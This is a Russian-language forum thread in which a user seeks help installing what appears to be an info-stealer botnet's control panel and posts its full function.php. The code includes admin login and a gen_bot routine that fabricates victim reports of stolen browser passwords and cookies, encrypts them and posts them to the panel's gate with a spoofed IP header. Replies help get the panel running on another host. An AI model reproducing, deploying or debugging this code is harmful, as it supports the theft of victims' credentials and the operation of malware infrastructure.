Те кто разбираются в php нужна помощ.

pl0tnik

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА

pl0tnik

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
27 Авг 2018
Сообщения
344
Реакции
123
Репутация
7
Установил панель на хостинг.
Создал бд и установил.
После входа по логину пассу в панель вылазиет данная ошибка .

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.


Как пофиксить - буду очень благодарен.

панель таково вида:

- readme.txt (вы сейчас читаете этот файл)
- panel/
├── app/
├── css/
├── fonts/
├── img/
├── js/
├── oldshit/
├── reports/
├── ????.php - гейт, всегда разное имя (a-z0-9, 5 символов)
├── config.php
├── cron.php
├── index.php
├── install.php
└── robots.txt
 

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,325
Реакции
940
Репутация
0
для начала попробуй другой хостинг, у меня такая хрень не вылазила но гдет тему видел с похожей проблемой он установил на другой хост и всё стало норм
 

pl0tnik

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА

pl0tnik

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
27 Авг 2018
Сообщения
344
Реакции
123
Репутация
7
для начала попробуй другой хостинг, у меня такая хрень не вылазила но гдет тему видел с похожей проблемой он установил на другой хост и всё стало норм
Понял - были такие мысли.
Щас попробую.
 

barboskin

Выдающийся
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА

barboskin

Выдающийся
ДРУЗЬЯ ФОРУМА
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
3 Июл 2018
Сообщения
1,127
Реакции
1,041
Репутация
0
Так сходу и не определить, мы же не видим что у тебя в function.php на второй строке
 

pl0tnik

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА

pl0tnik

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
27 Авг 2018
Сообщения
344
Реакции
123
Репутация
7
Так сходу и не определить, мы же не видим что у тебя в function.php на второй строке
PHP:
<?php
function include_app($page){ $page = str_replace(array(".", "\\", "..", "/"),"",$page); if(empty($page)){ $page = PANEL_DEFAULT_PAGE; } if(file_exists("./app/controller/".$page.".php")){ return "./app/controller/".$page.".php"; }else{ return "./app/controller/".PANEL_DEFAULT_PAGE.".php"; } } function get_panel_page(){ if(isset($_GET['p'])){ return $_GET['p']; }else{ return ""; } } function check_captcha(){ if($_POST['captcha'] === $_SESSION['captcha']){ return true; }else { return false; } } function check_login(){ if(isset($_POST['login'], $_POST['pwd'])){ if(!$_SESSION['admin']){ return true; }else{ return false; } } else { return false; } } function login_attempt(){ if(check_login() and check_captcha()){ return auth_user($_POST['login'], $_POST['pwd']); }else { return false; } } function check_install_complete(){ if(is_file("install.php") or is_file("gazorpazorp.zip") or is_file("gazorpazorp.tar.gz")){ echo "<a href='./install.php'>install.php</a> (?)<br>delete or install."; die(); } } function is_admin(){ if(isset($_SESSION['admin']) and $_SESSION['admin']===true){ return true; }else { return false; } } function auth_user($login, $password){ global $my; if(is_string($login) and is_string($password)){ if(strlen($login)>0 and strlen($password)>0){ $login = $my->real_escape_string($login); $password = md5(md5($password).PASS_SALT); $sql = "SELECT username, password FROM users WHERE username='".$login."' AND password='".$password."'"; $res = $my->query($sql); $result = $res->fetch_assoc(); if($result){ $_SESSION['username']=htmlspecialchars($login,ENT_QUOTES); $_SESSION['admin'] = true; return true; } else{ return false; } } return false; } return false; } function mysql_count($sql, $index=''){ global $my; $result = $my->query($sql); $row = $result->fetch_assoc(); if(!empty($index) and strlen($index)>0){ return $row[$index]; }else{ return $row; } } function code_to_country( $code ){ $code = strtoupper($code); $countryList = array( 'AF' => 'Afghanistan', 'AX' => 'Aland Islands', 'AL' => 'Albania', 'DZ' => 'Algeria', 'AS' => 'American Samoa', 'AD' => 'Andorra', 'AO' => 'Angola', 'AI' => 'Anguilla', 'AQ' => 'Antarctica', 'AG' => 'Antigua & Barbuda', 'AR' => 'Argentina', 'AM' => 'Armenia', 'AW' => 'Aruba', 'AU' => 'Australia', 'AT' => 'Austria', 'AZ' => 'Azerbaijan', 'BS' => 'Bahamas', 'BH' => 'Bahrain', 'BD' => 'Bangladesh', 'BB' => 'Barbados', 'BY' => 'Belarus', 'BE' => 'Belgium', 'BZ' => 'Belize', 'BJ' => 'Benin', 'BM' => 'Bermuda', 'BT' => 'Bhutan', 'BO' => 'Bolivia', 'BA' => 'Bosnia & Herzegovina', 'BW' => 'Botswana', 'BV' => 'Bouvetoya', 'BR' => 'Brazil', 'IO' => 'Chagos Archipelago', 'VG' => 'Br. Virgin Islands', 'BN' => 'Brunei', 'BG' => 'Bulgaria', 'BF' => 'Burkina Faso', 'BI' => 'Burundi', 'KH' => 'Cambodia', 'CM' => 'Cameroon', 'CA' => 'Canada', 'CV' => 'Cape Verde', 'KY' => 'Cayman Islands', 'CF' => 'Central African Republic', 'TD' => 'Chad', 'CL' => 'Chile', 'CN' => 'China', 'CX' => 'Christmas Island', 'CC' => 'Cocos Islands', 'CO' => 'Colombia', 'KM' => 'Comoros', 'CD' => 'Congo', 'CG' => 'Congo', 'CK' => 'Cook Islands', 'CR' => 'Costa Rica', 'CI' => 'Cote d\'Ivoire', 'HR' => 'Croatia', 'CU' => 'Cuba', 'CW' => 'Curacao', 'CY' => 'Cyprus', 'CZ' => 'Czechia', 'DK' => 'Denmark', 'DJ' => 'Djibouti', 'DM' => 'Dominica', 'DO' => 'Dominicana', 'EC' => 'Ecuador', 'EG' => 'Egypt', 'SV' => 'El Salvador', 'GQ' => 'Equatorial Guinea', 'ER' => 'Eritrea', 'EE' => 'Estonia', 'ET' => 'Ethiopia', 'FO' => 'Faroe Islands', 'FK' => 'Falkland Islands (Malvinas)', 'FJ' => 'Fiji', 'FI' => 'Finland', 'FR' => 'France', 'GF' => 'French Guiana', 'PF' => 'French Polynesia', 'TF' => 'French Southern Territories', 'GA' => 'Gabon', 'GM' => 'Gambia', 'GE' => 'Georgia', 'DE' => 'Germany', 'GH' => 'Ghana', 'GI' => 'Gibraltar', 'GR' => 'Greece', 'GL' => 'Greenland', 'GD' => 'Grenada', 'GP' => 'Guadeloupe', 'GU' => 'Guam', 'GT' => 'Guatemala', 'GG' => 'Guernsey', 'GN' => 'Guinea', 'GW' => 'Guinea-Bissau', 'GY' => 'Guyana', 'HT' => 'Haiti', 'HM' => 'Heard Island & McDonald Islands', 'VA' => 'Vatican City', 'HN' => 'Honduras', 'HK' => 'Hong Kong', 'HU' => 'Hungary', 'IS' => 'Iceland', 'IN' => 'India', 'ID' => 'Indonesia', 'IR' => 'Iran', 'IQ' => 'Iraq', 'IE' => 'Ireland', 'IM' => 'Isle of Man', 'IL' => 'Israel', 'IT' => 'Italy', 'JM' => 'Jamaica', 'JP' => 'Japan', 'JE' => 'Jersey', 'JO' => 'Jordan', 'KZ' => 'Kazakhstan', 'KE' => 'Kenya', 'KI' => 'Kiribati', 'KP' => 'Korea', 'KR' => 'Korea', 'KW' => 'Kuwait', 'KG' => 'Kyrgyzstan', 'LA' => 'Lao', 'LV' => 'Latvia', 'LB' => 'Lebanon', 'LS' => 'Lesotho', 'LR' => 'Liberia', 'LY' => 'Libya', 'LI' => 'Liechtenstein', 'LT' => 'Lithuania', 'LU' => 'Luxembourg', 'MO' => 'Macao', 'MK' => 'Macedonia', 'MG' => 'Madagascar', 'MW' => 'Malawi', 'MY' => 'Malaysia', 'MV' => 'Maldives', 'ML' => 'Mali', 'MT' => 'Malta', 'MH' => 'Marshall Islands', 'MQ' => 'Martinique', 'MR' => 'Mauritania', 'MU' => 'Mauritius', 'YT' => 'Mayotte', 'MX' => 'Mexico', 'FM' => 'Micronesia', 'MD' => 'Moldova', 'MC' => 'Monaco', 'MN' => 'Mongolia', 'ME' => 'Montenegro', 'MS' => 'Montserrat', 'MA' => 'Morocco', 'MZ' => 'Mozambique', 'MM' => 'Myanmar', 'NA' => 'Namibia', 'NR' => 'Nauru', 'NP' => 'Nepal', 'AN' => 'Netherlands Antilles', 'NL' => 'Netherlands', 'NC' => 'New Caledonia', 'NZ' => 'New Zealand', 'NI' => 'Nicaragua', 'NE' => 'Niger', 'NG' => 'Nigeria', 'NU' => 'Niue', 'NF' => 'Norfolk Island', 'MP' => 'Northern Mariana Islands', 'NO' => 'Norway', 'OM' => 'Oman', 'PK' => 'Pakistan', 'PW' => 'Palau', 'PS' => 'Palestine', 'PA' => 'Panama', 'PG' => 'Papua New Guinea', 'PY' => 'Paraguay', 'PE' => 'Peru', 'PH' => 'Philippines', 'PN' => 'Pitcairn Islands', 'PL' => 'Poland', 'PT' => 'Portugal', 'PR' => 'Puerto Rico', 'QA' => 'Qatar', 'RE' => 'Reunion', 'RO' => 'Romania', 'RU' => 'Russia', 'RW' => 'Rwanda', 'BL' => 'Saint Barthelemy', 'SH' => 'Saint Helena', 'KN' => 'Saint Kitts & Nevis', 'LC' => 'Saint Lucia', 'MF' => 'Saint Martin', 'PM' => 'Saint Pierre & Miquelon', 'VC' => 'Saint Vincent & the Grenadines', 'WS' => 'Samoa', 'SM' => 'San Marino', 'ST' => 'Sao Tome & Principe', 'SA' => 'Saudi Arabia', 'SN' => 'Senegal', 'RS' => 'Serbia', 'SC' => 'Seychelles', 'SL' => 'Sierra Leone', 'SG' => 'Singapore', 'SK' => 'Slovakia', 'SI' => 'Slovenia', 'SB' => 'Solomon Islands', 'SO' => 'Somalia', 'ZA' => 'South Africa', 'GS' => 'South Georgia & the South Sandwich Islands', 'ES' => 'Spain', 'LK' => 'Sri Lanka', 'SD' => 'Sudan', 'SR' => 'Suriname', 'SJ' => 'Svalbard & Jan Mayen Islands', 'SZ' => 'Swaziland', 'SE' => 'Sweden', 'CH' => 'Switzerland', 'SY' => 'Syria', 'TW' => 'Taiwan', 'TJ' => 'Tajikistan', 'TZ' => 'Tanzania', 'TH' => 'Thailand', 'TL' => 'Timor-Leste', 'TG' => 'Togo', 'TK' => 'Tokelau', 'TO' => 'Tonga', 'TT' => 'Trinidad & Tobago', 'TN' => 'Tunisia', 'TR' => 'Turkey', 'TM' => 'Turkmenistan', 'TC' => 'Turks & Caicos Islands', 'TV' => 'Tuvalu', 'UG' => 'Uganda', 'UA' => 'Ukraine', 'AE' => 'UAE', 'GB' => 'Britain', 'US' => 'USA', 'UM' => 'Minor Outlying Islands', 'VI' => 'Virgin Islands', 'UY' => 'Uruguay', 'UZ' => 'Uzbekistan', 'VU' => 'Vanuatu', 'VE' => 'Venezuela', 'VN' => 'Vietnam', 'WF' => 'Wallis & Futuna', 'EH' => 'Western Sahara', 'YE' => 'Yemen', 'ZM' => 'Zambia', 'ZW' => 'Zimbabwe', 'N' => 'N\A' ); if( !$countryList[$code] ) return $code; else return $countryList[$code]; } function showDate( $date ){ $stf = 0; $cur_time = time(); $diff = $cur_time - $date; $seconds = array( 'second', 'seconds', 'seconds' ); $minutes = array( 'minute', 'minutes', 'minutes' ); $hours = array( 'hour', 'hours', 'hours' ); $days = array( 'day', 'days', 'days' ); $weeks = array( 'week', 'weeks', 'weeks' ); $months = array( 'month', 'months', 'months' ); $years = array( 'year', 'years', 'years' ); $decades = array( 'decade', 'decades', 'decades' ); $phrase = array( $seconds, $minutes, $hours, $days, $weeks, $months, $years, $decades ); $length = array( 1, 60, 3600, 86400, 604800, 2630880, 31570560, 315705600 ); for ( $i = sizeof( $length ) - 1; ( $i >= 0 ) && ( ( $no = $diff / $length[ $i ] ) <= 1 ); $i -- ) { ; } if ( $i < 0 ) { $i = 0; } $_time = $cur_time - ( $diff % $length[ $i ] ); $no = floor( $no ); $value = sprintf( "%d %s ", $no, getPhrase( $no, $phrase[ $i ] ) ); if ( ( $stf == 1 ) && ( $i >= 1 ) && ( ( $cur_time - $_time ) > 0 ) ) { $value .= time_ago( $_time ); } return $value . ' ago'; } function real_date_diff($date1, $date2 = NULL){ $diff = array(); if(!$date2) { $cd = getdate(); $date2 = $cd['year'].'-'.$cd['mon'].'-'.$cd['mday'].' '.$cd['hours'].':'.$cd['minutes'].':'.$cd['seconds']; } $pattern = '/(\d+)-(\d+)-(\d+)(\s+(\d+):(\d+):(\d+))?/'; preg_match($pattern, $date1, $matches); $d1 = array((int)$matches[1], (int)$matches[2], (int)$matches[3], (int)$matches[5], (int)$matches[6], (int)$matches[7]); preg_match($pattern, $date2, $matches); $d2 = array((int)$matches[1], (int)$matches[2], (int)$matches[3], (int)$matches[5], (int)$matches[6], (int)$matches[7]); for($i=0; $i<count($d2); $i++) { if($d2[$i]>$d1[$i]) break; if($d2[$i]<$d1[$i]) { $t = $d1; $d1 = $d2; $d2 = $t; break; } } $md1 = array(31, $d1[0]%4||(!($d1[0]%100)&&$d1[0]%400)?28:29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31); $md2 = array(31, $d2[0]%4||(!($d2[0]%100)&&$d2[0]%400)?28:29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31); $min_v = array(NULL, 1, 1, 0, 0, 0); $max_v = array(NULL, 12, $d2[1]==1?$md2[11]:$md2[$d2[1]-2], 23, 59, 59); for($i=5; $i>=0; $i--) { if($d2[$i]<$min_v[$i]) { $d2[$i-1]--; $d2[$i]=$max_v[$i]; } $diff[$i] = $d2[$i]-$d1[$i]; if($diff[$i]<0) { $d2[$i-1]--; $i==2 ? $diff[$i] += $md1[$d1[1]-1] : $diff[$i] += $max_v[$i]-$min_v[$i]+1; } } return $diff; } function getPhrase( $number, $titles ) { $cases = array( 2, 0, 1, 1, 1, 2 ); return $titles[ ( $number % 100 > 4 && $number % 100 < 20 ) ? 2 : $cases[ min( $number % 10, 5 ) ] ]; } function get_os_nicename($os){ switch($os){ case '5.1': return "Win XP";break; case '5.2': return "Win XP";break; case '5.2s': return "Win 2003";break; case '6.0': return "Win Vista";break; case '6.0s': return "Win 2008";break; case '6.1': return "Win 7";break; case '6.1s': return "Win 2008";break; case '6.2': return "Win 8";break; case '6.2s': return "Win 2012";break; case '6.3': return "Win 8.1";break; case '6.3s': return "Win 2012";break; case '10.0': return "Win 10";break; case '10.0s':return "Win 2016";break; default:return "Win";break; } } function get_os_post_param($os){ switch($os){ case '5.0': return "w2000";break; case '5.2': return "wXP";break; case '5.2s': return "w2003";break; case '6.0': return "wvista";break; case '6.0s': return "w2008";break; case '6.1': return "w7";break; case '6.1s': return "w2008";break; case '6.2': return "w8";break; case '6.2s': return "w2012";break; case '6.3': return "w81";break; case '6.3s': return "w2012";break; case '10.0': return "w10";break; case '10.0s':return "w2016";break; default:return "w7";break; } } function zip2utf($str){ $zip = array( 'ë', 'û', 'ô', 'è', 'à', 'ì', 'â', 'ÿ', 'Ö', 'ç', 'ò', 'Ü', 'ö', '¢', 'é', 'Ç', 'Å', 'É', 'Ä', 'ï', 'ä', 'å', '¥', 'ƒ', 'ù', 'æ', 'î', 'ê', 'Æ', '£', 'ü', '₧', '⌐', 'µ', 'π', '¬', 'Ñ', '¡', 'ú', 'Φ', 'Θ', 'º', 'σ', 'Ω', 'Σ', 'δ', 'ó', 'á', '»', 'α', '«', '½', 'ñ', 'ª', 'φ', '∩', 'τ', 'ß', '¼', '¿', 'Γ', '∞', 'í', 'ε' ); $utf = array( 'Й', 'Ц', 'У', 'К', 'Е', 'Н', 'Г', 'Ш', 'Щ', 'З', 'Х', 'Ъ', 'Ф', 'Ы', 'В', 'А', 'П', 'Р', 'О', 'Л', 'Д', 'Ж', 'Э', 'Я', 'Ч', 'С', 'М', 'И', 'Т', 'Ь', 'Б', 'Ю', 'й', 'ц', 'у', 'к', 'е', 'н', 'г', 'ш', 'щ', 'з', 'х', 'ъ', 'ф', 'ы', 'в', 'а', 'п', 'р', 'о', 'л', 'д', 'ж', 'э', 'я', 'ч', 'с', 'м', 'и', 'т', 'ь', 'б', 'ю' ); return str_replace($zip, $utf, $str ); } function human_filesize($bytes, $decimals = 2) { $sz = array('B', 'Kb', 'Mb', 'Gb', 'Tb', 'Pb'); $factor = floor((strlen($bytes) - 1) / 3); return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor]; } function gen_bot($url){ $array = str_split(strtoupper(md5(microtime()).substr(md5(time()),0,8)), 8); $array[0]=substr($array[0],0,7); $bot_id = implode("-", $array); $os_arr = array("6.1", "10.0", "5.1", "6.3", "6.2", "6.0", "6.3s", "6.2s"); $osver = $os_arr[rand(0,count($os_arr)-1)]; $osname_arr = array("Windows 7", "Windows XP", "Windows Vista", "Windows 8.1", "Windows 8", "Windows 10"); $osname = $osname_arr[rand(0,count($osname_arr)-1)]; $bit_arr = array("x64", "x32"); $bit = $bit_arr[rand(0,count($bit_arr)-1)]; $pc_arr = array("USER", "ADMIN", "Admin", "Buhgalter", "Alex", "John", "Home", "Kek", "Volodya", "Punya", "Jopka", "Lelkf", "Adam", "SOMA"); $pcname = $pc_arr[rand(0,count($pc_arr)-1)].rand(1,255)."-PC"; $user_arr = array("USER", "ADMIN", "Admin", "Buhgalter", "Alex", "John", "Home", "Kek", "Volodya", "Punya", "Jopka", "Lelkf", "Adam", "SOMA"); $username = $user_arr[rand(0,count($user_arr)-1)].rand(1,255); $r_arr = array("U", "A"); $rights = $r_arr[rand(0,count($r_arr)-1)]; $payload = $bot_id."|".$osver."|".$osname."|".$bit."|".$pcname."|".$username."|".rand(0,1)."|".rand(0,1)."|".rand(0,1)."|".rand(0,1)."|E|".$rights; $report = "reportdata=<infoEDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851>".$payload."</infoEDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851>
    <pwdsEDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851>%31|GoogleChrome|http".urlencode("://".rand(1000,9000).".com/")."|admin".rand(0,1000)."|qwer".rand(0,1000)."|Default
    %31|InternetExplorer|http".urlencode("://".rand(1000,9000).".com/")."|admin".rand(0,1000)."|qwer".rand(0,1000)."|Default
    %31|Chromium|http".urlencode("://".rand(1000,9000).".com/")."|admin".rand(0,1000)."|qwer".rand(0,1000)."|Default
    %31|YandexBrowser|http".urlencode("://".rand(1000,9000).".com/")."|admin".rand(0,1000)."|qwer".rand(0,1000)."|Default
    %31|Opera|http".urlencode("://".rand(1000,9000).".com/")."|admin".rand(0,1000)."|qwer".rand(0,1000)."|Default
    %31|MozillaFireFox|http".urlencode("://".rand(1000,9000).".com/")."|admin".rand(0,1000)."|qwer".rand(0,1000)."|Default
    </pwdsEDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851>
    <coksEDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851>%2Egoogle%2Ecom
    </coksEDSER93-1EDA-4W4C-BEED-WNFYRIFHBF4C04CFEW99-FES9-4558-9FEF-HFDIUFG6D851>"; $postdata = xorcrypt($report, b64dd(CIPHERKEY), 1024*512); $opts = array( 'http'=>array( 'method' => 'POST', 'header' => array('Content-type: application/x-www-form-urlencoded\r\n', 'Client-IP: '.rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255)."\r\n"), 'content' => $postdata ) ); $context = stream_context_create($opts); $result = file_get_contents($url, false, $context); }
 

pl0tnik

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА

pl0tnik

Знающий
PREMIUM USER
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
27 Авг 2018
Сообщения
344
Реакции
123
Репутация
7
Помог перенос на другой хостинг
 
Сверху